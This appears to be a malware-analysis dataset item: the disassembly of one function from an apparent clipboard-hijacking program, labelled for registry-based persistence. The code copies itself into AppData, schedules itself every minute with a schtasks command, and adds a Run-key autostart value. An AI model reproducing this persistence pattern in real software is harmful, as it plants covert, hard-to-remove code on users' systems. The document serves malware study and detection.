Function at 0x1400027d0
Capabilities:
Persist via run registry key

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x2f0]
sub rsp, 0x3f0
mov rax, qword [0x14003d048]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
lea r8, [0x140037140]
mov edx, 1
xor ecx, ecx
call qword [0x140029098]
mov rbx, rax
call qword [0x140029058]
cmp eax, 0xb7
jne 0x140002828
mov rcx, rbx
call qword [0x140029028]
jmp 0x140002a8c
mov r8d, 0x104
lea rdx, [rbp + 0x1d0]
xor ecx, ecx
call qword [0x1400290a0]
xor r9d, r9d
lea rax, [rbp + 0xc0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1a]
call qword [0x140029320]
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x50]
call fcn.140002d30
mov rdx, rax
lea r8, str.ClipboardWWSClipboardManager.exe
lea rcx, [rbp - 0x20]
call fcn.14000372c
lea rcx, [rsp + 0x50]
call fcn.140002ca8
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x70]
call fcn.140002d30
mov rdx, rax
lea r8, [0x140037170]
lea rcx, [rsp + 0x50]
call fcn.14000372c
mov rcx, rax
call fcn.140002bdc
mov rcx, rax
xor edx, edx
call qword [0x140029040]
lea rcx, [rsp + 0x50]
call fcn.140002ca8
lea rcx, [rsp + 0x70]
call fcn.140002ca8
lea rcx, [rbp - 0x20]
call fcn.140002bdc
mov rdx, rax
lea rcx, [rbp + 0x1d0]
xor r8d, r8d
call qword [0x140029090]
lea rdx, str.___f
lea rcx, [rbp - 0x70]
call fcn.140002d30
lea rdx, str.schtasks.exe__create__sc_MINUTE__mo_1__tn__ClipboardWWS___tr__
mov rbx, rax
lea rcx, [rsp + 0x50]
call fcn.140002d30
mov rdx, rax
lea r8, [rbp - 0x20]
lea rcx, [rsp + 0x70]
call fcn.140003758
mov r8, rbx
lea rcx, [rbp]
mov rdx, rax
call fcn.140003784
lea rcx, [rsp + 0x70]
call fcn.140002ca8
lea rcx, [rsp + 0x50]
call fcn.140002ca8
lea rcx, [rbp - 0x70]
call fcn.140002ca8
xor edx, edx
mov dword [rbp + 0x50], 0x68
lea rcx, [rbp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.1400109d0
lea rcx, [rbp]
call fcn.140002bdc
mov rdx, rax
xor r9d, r9d
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
and dword [rsp + 0x20], 0
xor r8d, r8d
xor ecx, ecx
call qword [0x140029038]
test eax, eax
je 0x1400029c7
mov rcx, qword [rbp - 0x48]
call qword [0x140029028]
mov rcx, qword [rbp - 0x40]
call qword [0x140029028]
jmp 0x140002a33
lea rax, [rbp - 0x50]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [0x140029008]
test eax, eax
jne 0x140002a33
lea rcx, [rbp - 0x20]
call fcn.140002bd4
lea rcx, [rbp - 0x20]
lea ebx, [rax + 1]
call fcn.140002bdc
mov rcx, qword [rbp - 0x50]
lea rdx, str.ClipboardWWS
mov r9d, 1
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [section..rdata]
mov rcx, qword [rbp - 0x50]
call qword [0x140029010]
lea rcx, [rbp - 0x30]
call fcn.1400037a4
jmp 0x140002a52
lea rcx, [rbp + 0x20]
call qword [0x140029350]
lea rcx, [rbp + 0x20]
call qword [0x140029330]
xor r9d, r9d
lea rcx, [rbp + 0x20]
xor r8d, r8d
xor edx, edx
call qword [0x140029348]
test eax, eax
jne 0x140002a3e
lea rcx, [rbp - 0x30]
call fcn.140002548
lea rcx, [rbp - 0x30]
call fcn.140002528
lea rcx, [rbp]
call fcn.140002ca8
lea rcx, [rbp - 0x20]
call fcn.140002ca8
xor eax, eax
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.14000e4c0
mov rbx, qword [rsp + 0x400]
add rsp, 0x3f0
pop rbp
ret